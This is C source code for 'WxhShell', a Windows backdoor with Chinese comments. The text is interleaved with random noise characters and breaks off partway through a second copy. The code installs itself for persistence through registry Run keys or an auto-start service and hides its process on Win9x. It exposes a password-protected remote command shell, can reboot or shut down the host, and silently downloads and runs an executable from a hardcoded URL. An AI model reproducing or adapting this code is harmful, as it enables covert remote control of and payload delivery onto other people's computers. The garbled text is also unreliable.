&]H#6 M. o}? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); # ^q87y if(NULL == hInst ) return 0; ,g~Iup Kwmtt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6VQe?oh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z:p;Wm NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'lIj89h<E U1y8Y/ if (!NtQueryInformationProcess) return 0; T4fVZd)x v\}s(X(J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >oHgs if(!hProcess) return 0; Q?xCb q,%lG$0v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S@^o=B]] Wq"5-U;:w CloseHandle(hProcess); YA:!ULzR* \nbGdka hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "+sl(A3`U if(hProcess==NULL) return 0; A(84cmq!q `ttqgv\ HMODULE hMod; {Yc#XP char procName[255]; S9mcThcZ unsigned long cbNeeded; TRJ5m?x "IuHSjP if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &WV&_z /y-eVu6 CloseHandle(hProcess); fP>~ @^ _@L{]6P%V if(strstr(procName,"services")) return 1; // 以服务启动 $O[$<D%H |]UR&* return 0; // 注册表启动 bZ-_Q } UfxYD oQL$X3S // 主模块 s.IYPH|pn int StartWxhshell(LPSTR lpCmdLine) G4jyi&] { (
C~ u. SOCKET wsl; kes
GwMr"e BOOL val=TRUE; {4^NZTjd@ int port=0; , #nYH D struct sockaddr_in door; F~Sw-b kSf #KgDOCQH if(wscfg.ws_autoins) Install(); 3IyNnm=u 0Bn35.K port=atoi(lpCmdLine); 'jA>P\@8 k"$E|$ if(port<=0) port=wscfg.ws_port; 3k_bhK zI D3(rD]c0{ WSADATA data; 3`+Bq+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N% !TFQf #]5A|-O^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YW7Pimks setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I ]HP door.sin_family = AF_INET; */)O8`}2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); T)lkT? door.sin_port = htons(port); 4Je[!X@C 8_=MP[(H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4T??8J-J closesocket(wsl); LM2S%._cj; return 1; Q^ }Ib[ } IY40d^x kesuM3 if(listen(wsl,2) == INVALID_SOCKET) { C;\R
62' closesocket(wsl); 66C_XT return 1; 1a]QNl_x } UNF@%O4_T Wxhshell(wsl); G<W;HM j2 WSACleanup(); m'PU0x T8W;Lb9hQ return 0; E]c0+rh~ }l<:^lX } 59#o+qo4 _uq[D`= // 以NT服务方式启动 :x[SV^fw[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ep)O|_= { H~<w*[uT DWORD status = 0; Yow DWORD specificError = 0xfffffff; yB5JvD ? 4'#?"I serviceStatus.dwServiceType = SERVICE_WIN32; OVUJiBp serviceStatus.dwCurrentState = SERVICE_START_PENDING; vJ9IDc|[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /I48jO^2 serviceStatus.dwWin32ExitCode = 0; {JlSfJw! serviceStatus.dwServiceSpecificExitCode = 0; qtlcY8! serviceStatus.dwCheckPoint = 0; $i|d=D&t serviceStatus.dwWaitHint = 0; wzf pB:/oHV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Z1';A3 if (hServiceStatusHandle==0) return; Id^)WEK4 ,(;]8G-Yj status = GetLastError(); :y1,OR/k if (status!=NO_ERROR) #5yz~& { HAmAmEc, serviceStatus.dwCurrentState = SERVICE_STOPPED; FjV)QP H serviceStatus.dwCheckPoint = 0; V/Q/Ujgg serviceStatus.dwWaitHint = 0; ((AIrE>Rr serviceStatus.dwWin32ExitCode = status; BF/l#)$yK serviceStatus.dwServiceSpecificExitCode = specificError; =:*2t SetServiceStatus(hServiceStatusHandle, &serviceStatus); _V,bvHWlM return; \\P*w$c } cq"#[y$r ~s2la~gu serviceStatus.dwCurrentState = SERVICE_RUNNING; &cZl2ynPi serviceStatus.dwCheckPoint = 0; S1a6uE serviceStatus.dwWaitHint = 0; uN@El1ouY if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9?tG?b0 } p+#]Jr S0w:R:q}L // 处理NT服务事件,比如:启动、停止 !:3X{)4 VOID WINAPI NTServiceHandler(DWORD fdwControl) V.}3d,Em%] { qGdoRrp0Ov switch(fdwControl) $ww0$ {
;[B-!F> case SERVICE_CONTROL_STOP: '0<9+A# serviceStatus.dwWin32ExitCode = 0; Sf'uKSX1% serviceStatus.dwCurrentState = SERVICE_STOPPED; D}~uxw;[^ serviceStatus.dwCheckPoint = 0; !W/"Z!k serviceStatus.dwWaitHint = 0; _sK{qQxvM= { in7h^6?I SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@>Q7AUCQ } B &e'n< return; 3c+ps;nh case SERVICE_CONTROL_PAUSE: w >w zV=R serviceStatus.dwCurrentState = SERVICE_PAUSED; j:7AVnt break; q0{ _w case SERVICE_CONTROL_CONTINUE: k]rc -c- serviceStatus.dwCurrentState = SERVICE_RUNNING; 'fPDODE break; "t%Jj89a\ case SERVICE_CONTROL_INTERROGATE: ]Jo}F@\g break; d' l|oeS }; 8'M:uI SetServiceStatus(hServiceStatusHandle, &serviceStatus); RMHJI6?LB } 5Z`f.}^w `(M0I!t // 标准应用程序主函数 rE%HNPO int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {uurLEe? { _&N}.y)+t oSLm?Lu // 获取操作系统版本 1s.>_ OsIsNt=GetOsVer(); hC?rHw
H> GetModuleFileName(NULL,ExeFile,MAX_PATH); PR7B
Cxm Hu+GN3`sx^ // 从命令行安装 0YAH[YF if(strpbrk(lpCmdLine,"iI")) Install(); +K?sg; 3_"tds <L // 下载执行文件 L_q3m-x0h if(wscfg.ws_downexe) { &gcZ4gpH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OZEbs 7 WinExec(wscfg.ws_filenam,SW_HIDE); Q/0oe()) } C;~LY&= S6Y:Z0 if(!OsIsNt) { O8~RfB // 如果时win9x,隐藏进程并且设置为注册表启动 "^)GnK +- HideProc(); [5]n,toAh StartWxhshell(lpCmdLine); pj$kSS|m6- } k*D8IB else u4$R ZTC if(StartFromService()) fZcA{$Vc]N // 以服务方式启动 }WhRJr`a StartServiceCtrlDispatcher(DispatchTable); wVs"+4l< else ^^F 8M0k3 // 普通方式启动 0rvBjlFT StartWxhshell(lpCmdLine); F` &W5[ GK;IY=8W return 0; }R/we` } p`EgMzVO, xQl}~G]! &G?"I%Vw n6G&c4g<" =========================================== 2@IL
n+# Qq'e#nI@ _mJhY0Oc hM[3l1o{| jib pZ) &xZSM, " )+ 'r-AF* 7 IJn9 b #include <stdio.h> +d7Arg!m #include <string.h> aKE`nA0\B #include <windows.h> ,U)&ny #include <winsock2.h> 8nWPt!U: #include <winsvc.h> H>},{ z #include <urlmon.h> hy>0'$mU )5n:UD{f[# #pragma comment (lib, "Ws2_32.lib") Q @[gj:w #pragma comment (lib, "urlmon.lib") O<#8R\v "$D'gSoYe #define MAX_USER 100 // 最大客户端连接数 'Lw8l `7 #define BUF_SOCK 200 // sock buffer mn\A)RQ #define KEY_BUFF 255 // 输入 buffer OMM5ALc(F 5=I"bnIU #define REBOOT 0 // 重启 62MQ+H #define SHUTDOWN 1 // 关机 wqT9m*VK |3 Iug #define DEF_PORT 5000 // 监听端口 [4aw*M1z}. @4MQ021( #define REG_LEN 16 // 注册表键长度 R.DUfU"gp #define SVC_LEN 80 // NT服务名长度 \98N8p;,I ><S(n#EB // 从dll定义API o
0T1pGs' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M2c7| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .;qh>Gt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R$66F>Jz^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xR8.1T?8 o';/$xrH // wxhshell配置信息 y0ObcP.MA struct WSCFG { @WJ\W `P int ws_port; // 监听端口 M< .1U?_# char ws_passstr[REG_LEN]; // 口令 ~mwIr int ws_autoins; // 安装标记, 1=yes 0=no k2tSgJW char ws_regname[REG_LEN]; // 注册表键名 C/H;|3.X char ws_svcname[REG_LEN]; // 服务名 bwcr/J(Nb char ws_svcdisp[SVC_LEN]; // 服务显示名 F n iht< char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?>iUz.];t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /h{Rf,H int ws_downexe; // 下载执行标记, 1=yes 0=no wOCAGEg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gFrNk
Uqp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z+{+Q9j }/h&`0z` }; t72rCq QC KU*aJl_n, // default Wxhshell configuration 4=EA3`l struct WSCFG wscfg={DEF_PORT, TIt\ "xuhuanlingzhe", M] +.xo+A 1, bM5o-U#^ C "Wxhshell", (xoYYO "Wxhshell", tbiM>qxB "WxhShell Service", mQR9Pn}H "Wrsky Windows CmdShell Service", }S3 oX$ "Please Input Your Password: ", F#M(#!)Y" 1, ^sFO[cYo "http://www.wrsky.com/wxhshell.exe", /nu z_y\J "Wxhshell.exe" ,hT.Ok={36 }; k`A39ln7wu -%gEND-AP // 消息定义模块 eO(U):C2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hqlQ-aytS char *msg_ws_prompt="\n\r? for help\n\r#>"; A0U9,M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2ZEGE+0 char *msg_ws_ext="\n\rExit."; erbk( char *msg_ws_end="\n\rQuit."; rf%VSxD9 char *msg_ws_boot="\n\rReboot..."; &6
<a<S char *msg_ws_poff="\n\rShutdown..."; h_+ char *msg_ws_down="\n\rSave to "; PB7-`uz ,|}mo+rb- char *msg_ws_err="\n\rErr!"; V=% ;5/ char *msg_ws_ok="\n\rOK!"; __FEdO yN0`JI char ExeFile[MAX_PATH]; y22DBB8 int nUser = 0; W3d+t?28 HANDLE handles[MAX_USER]; %''L7o.#a int OsIsNt; Mp>(cs 3u4Q!U%(D SERVICE_STATUS serviceStatus; U%q6n"[
Cr SERVICE_STATUS_HANDLE hServiceStatusHandle; tl\<:8pI" a h_>:x // 函数声明 5%e+@X;j int Install(void); "}`)s_rt int Uninstall(void); S4[#[w`= int DownloadFile(char *sURL, SOCKET wsh); _ZFEo< `' int Boot(int flag); o kA< void HideProc(void); %D8.uGsh int GetOsVer(void); 3+s$K(% I int Wxhshell(SOCKET wsl); pMy:h
void TalkWithClient(void *cs); \!BVf@>p% int CmdShell(SOCKET sock); 1^E5VG1[ int StartFromService(void); {jmy:e2 int StartWxhshell(LPSTR lpCmdLine); 3l41"5Fy& GGr82)E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2 \}J*0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); %lWOW2~R # Q,EL73; // 数据结构和表定义 X<Z(,B SERVICE_TABLE_ENTRY DispatchTable[] = 6hv.;n}; { Bt(<Xj D {wscfg.ws_svcname, NTServiceMain}, h9CTcWGt {NULL, NULL} ^V#,iO9.- }; uC#@qpzy /]5*;kO` // 自我安装 3NDddrL9 int Install(void) Z+J4q9^$ { \`xlD&F@U char svExeFile[MAX_PATH]; %)?jaE}[ HKEY key; LybaE~=
strcpy(svExeFile,ExeFile); geqP. MR *|Er;Thw // 如果是win9x系统,修改注册表设为自启动 .#$2,"8 if(!OsIsNt) { }aR}ZzK/v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0.0-rd> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A)>#n) RegCloseKey(key); )%MC*Z:^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w:QO@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / +% RegCloseKey(key); nH k^trGm return 0; :op_J!; } ],S {?!'1 } vno/V#e$WX } e]1Zey else { /OzoeIt =3w;<1 ?'
// 如果是NT以上系统,安装为系统服务 9 %4:eTcp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;tZQ9#S if (schSCManager!=0) G%t>Ll``C { PC<_1!M] SC_HANDLE schService = CreateService @r/~Y]0Ye5 ( qJrKt=CE schSCManager, $=N?[h&4 wscfg.ws_svcname, ceJi|`F wscfg.ws_svcdisp, ?X6}+ SERVICE_ALL_ACCESS, ]4en|Aq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n"6L\u SERVICE_AUTO_START, XDPgl=~ SERVICE_ERROR_NORMAL, X(*O$B{
R svExeFile, bNVeL$' NULL, w,FPL&{ NULL, &4S2fWx NULL, L}Y.xi NULL, ;VAyH('~ NULL 2*V[kmD/3 ); ~8u *sy if (schService!=0) 5HV+7zU5 { ,_RNZ
sa;& CloseServiceHandle(schService); %csrNf CloseServiceHandle(schSCManager); Dz6xx? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e@ZM&iR strcat(svExeFile,wscfg.ws_svcname); m\0_1 #( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /~ {`!30 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +)"Rv%. RegCloseKey(key); U\tx{CsSz return 0; l9&k!kF` } qrlC
U4 } 9DNp CloseServiceHandle(schSCManager); SI+Uq(k } &~H ed_ } znwKwc8, Nb`qM]& return 1; -m%`Di!E } `z0q:ME /GC&@y0yi // 自我卸载 8$
u"92 int Uninstall(void) h7UNmwj { ~EPVu HKEY key; x~!|F5JbM "
L`)^ if(!OsIsNt) { &btI# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "U-jZ5o" RegDeleteValue(key,wscfg.ws_regname); 5z!$=SFz RegCloseKey(key); XH$r(@Z\7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YiDO V) RegDeleteValue(key,wscfg.ws_regname); ,dCEy+ RegCloseKey(key); bT^dtEr[ return 0; WqCC4R,- } QH9t |l } l\*9rs:! } njaMI8|Pa else { 4}uOut SscB&{f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~(QfVpRnV= if (schSCManager!=0) VE|l;aXi { _V-K yK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p/HDG
^T:u if (schService!=0) 2H)4}5H { k~"Eh]38 if(DeleteService(schService)!=0) { $ItjVc@U CloseServiceHandle(schService); 73D<wMgZF CloseServiceHandle(schSCManager); 6`e7|ilh6 return 0; Z)#UCoK!c } WQ.0} n}d CloseServiceHandle(schService); 1*TbgxS~W } WK>|IgK CloseServiceHandle(schSCManager); ^Fco'nlM } 0- )K_JV
} E=p+z"Ui -V|"T+U return 1; %'=*utOxy } zXn-E o3 fc - // 从指定url下载文件 "s(~k int DownloadFile(char *sURL, SOCKET wsh) :pqUUZ6x& { lb-1z]YwQ HRESULT hr; S'jg#*$ char seps[]= "/"; ZNX38<3h char *token; %M@K(Qu char *file; 'p&,'+x char myURL[MAX_PATH]; qUkMNo3 char myFILE[MAX_PATH]; VI&x1C FvxM strcpy(myURL,sURL); _s=H|#l
token=strtok(myURL,seps); _F;v3|`D@< while(token!=NULL) 'BjTo*TB]Z { ,twx4r^ file=token; esqmj#G token=strtok(NULL,seps); Fz%;_%j } e"nm< & b|d-vnYE GetCurrentDirectory(MAX_PATH,myFILE); 52e>f5m.
strcat(myFILE, "\\"); I+8n;I)]X strcat(myFILE, file); FmL]|~ send(wsh,myFILE,strlen(myFILE),0); br[iRda@ send(wsh,"...",3,0); Rm} ym9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z~
cW, if(hr==S_OK) N T`S)P*? return 0; 1`&`y%c?B else h xO}'`: return 1; bO=|utpk h+FM?ct6} } "jFf}" )D,KG_7l // 系统电源模块 t~) P1Lof\ int Boot(int flag) o}OY,P { wGc7 HANDLE hToken; cuhp4!! TOKEN_PRIVILEGES tkp; *2G6Q
gF % =^/^[D if(OsIsNt) { NBYJ'nA%;f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q.g/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =*2,^j tkp.PrivilegeCount = 1; P0m3IH) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xh;V4zK@` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )>iOj50n3 if(flag==REBOOT) { FZr/trP~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9zu;OK% return 0; )/T[Cnx.Nc } pH1!6X else { D0D=;k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z}J5sifr return 0; 513,k$7 } 4Z"}W!A } m@td[^O- else { =RQF::[h if(flag==REBOOT) { s^wm2/Yw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C0wtMD:G return 0; ~]?:v,UIm( } Aqyw else { .uuhoqG0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >t+U`6xK return 0;
=@HS } /eF@a! } S
/hx\TzC ;M:AcQZ|_ return 1; UVo`jb|>
o } aSzI5J]/= Joow{75K // win9x进程隐藏模块 2Y
vr|] \8 void HideProc(void) ge~@}iO@ { *]$B 9zVs! DXs an HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :<QknU}dwy if ( hKernel != NULL ) [C'bfX5HB5 { n|( lPbD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); //R"ZE@d\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 #_pkVQw: FreeLibrary(hKernel); M3(N!xT } fF@w:;u ON :t"z5 return; Bn}woyJdx } \T7Mt|f:5 a>wCBkD // 获取操作系统版本 Ep7MU&O0iK int GetOsVer(void) 6 d-\+t8 { 4&iQo' OSVERSIONINFO winfo; sy: xA w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Yj1Etq.E GetVersionEx(&winfo); .ZTvOm'mB^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ez3fL&* return 1; a3@E`Z else )GD7rsC`< return 0; PTQ#8(_, } Ds9)e&yYrb ` 2lS@ // 客户端句柄模块 [h/T IGE\ int Wxhshell(SOCKET wsl) ;Shu { l A ^1} SOCKET wsh; b9bIvjm_ struct sockaddr_in client; M5dYcCDE DWORD myID; OUX7
*_ v=U<exM6% while(nUser<MAX_USER) ]G/m,Zv*: { =RoG?gd{R int nSize=sizeof(client); eV9U+]C` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pv_o4qEN if(wsh==INVALID_SOCKET) return 1; 3:J>-MO AGlBvRX7e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VD;*UkapZx if(handles[nUser]==0) ^HKXm#vAB closesocket(wsh); oaIk1U;g else ~k"+5bHa* nUser++; '6so(>| } g'"~' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #}`sfaT x~5uc$ return 0; R~vGaxZ$ } d$t"Vp Q:}]-lJg // 关闭 socket MpV<E0CmE void CloseIt(SOCKET wsh) /bo}I-<2 { Z)?$ZI@ closesocket(wsh); YQBLbtn6( nUser--; V6]6KP#D ExitThread(0); [Vd$FDki } X1j8tg iT]t`7R // 客户端请求句柄 Rh>B#
\ void TalkWithClient(void *cs) $7x2TiAL { s8h*nZ)v +QChD* SOCKET wsh=(SOCKET)cs; #:K=zV\ char pwd[SVC_LEN]; F/5&:e?( ) char cmd[KEY_BUFF]; :eN&wQ5q char chr[1]; _$~>O7 int i,j; 7J'%;sH tl#sCf!c while (nUser < MAX_USER) { @8d 3 m1$tf
^ if(wscfg.ws_passstr) { I^NDJdxd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !T6R[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oa|c ?|+ //ZeroMemory(pwd,KEY_BUFF); |RX#5Q>z i=0; eqx }]# while(i<SVC_LEN) { 1IXtu )Z7Vm2a // 设置超时 Uh}PB3WZ fd_set FdRead; 2]!@)fio` struct timeval TimeOut; xS*UY.> FD_ZERO(&FdRead); u]p21)m$x FD_SET(wsh,&FdRead); d:kB Zrq TimeOut.tv_sec=8; ?UnQ?F(+G< TimeOut.tv_usec=0; U4D7@KY +m int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rH@Rh}#yp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \8vP"Kr a4Q@sn;] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }(EH5jZ' pwd=chr[0]; e3I""D{)[= if(chr[0]==0xd || chr[0]==0xa) { epy2}TI pwd=0; zsL@0]e& break; D|uvgu2 } GppCrQ%Ra| i++; =LW!$p } N'
hT <WXVUEea // 如果是非法用户,关闭 socket x,B] J4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'uL4ezTtA } (x=$b(I 7KC>?F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HuhQ|~C+~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \YP,}_~ E7Lqa
S while(1) { cu!%aM,/<- jn(x-fj6R ZeroMemory(cmd,KEY_BUFF); c1YDln "@V yc6L // 自动支持客户端 telnet标准 *22Vc2[i; j=0; qO6M5g: while(j<KEY_BUFF) { Z.VKG1e} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d |17G cmd[j]=chr[0]; ~\":o:qyc if(chr[0]==0xa || chr[0]==0xd) { {>>X3I cmd[j]=0; 3?Pg
;
break; mjeJoMvN)H } Be6Yh~m j++; mU5Ox4>&9 } t. P@Ba^ "\4W])30 // 下载文件 =2\2Sp if(strstr(cmd,"http://")) { +O}Ik.w send(wsh,msg_ws_down,strlen(msg_ws_down),0); F!+1w(b: if(DownloadFile(cmd,wsh)) n!)$e;l send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3H2~?CaJ else S<Dbv? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qb>ULP0 } u\\t~<8 else { $/wm k7T e]4$H.dP
switch(cmd[0]) { 2<D| { X^\D"fmE. // 帮助 \n<!
ld case '?': { 2B_|"J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t2[/eM.G break; \VpEUU6^U } JR!-1tnc // 安装 jTa\I&s |